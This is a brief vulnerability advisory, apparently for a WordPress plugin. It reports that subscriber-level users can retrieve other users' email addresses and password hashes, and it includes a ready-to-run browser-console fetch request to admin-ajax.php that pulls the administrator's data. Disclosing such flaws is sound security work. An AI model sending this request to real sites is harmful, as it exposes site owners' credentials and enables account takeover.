The plugin does not restrict the information returned in a response and returns all user data, allowing low privilege users such as subscriber to retrieve sensitive information such as the user email and hashed password of other users
Run the below command in the developer console of the web browser while being on the blog as susbscriber user. This will return all user data, including the hashed password and email address of the user with ID 1 (usually the administrator) fetch(“/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “method”: “POST”, “body”: ‘action=ajax_post&route;_name=resend_credential&id;=1’, “credentials”: “include” }).then(response => response.text()) .then(data => console.log(data));
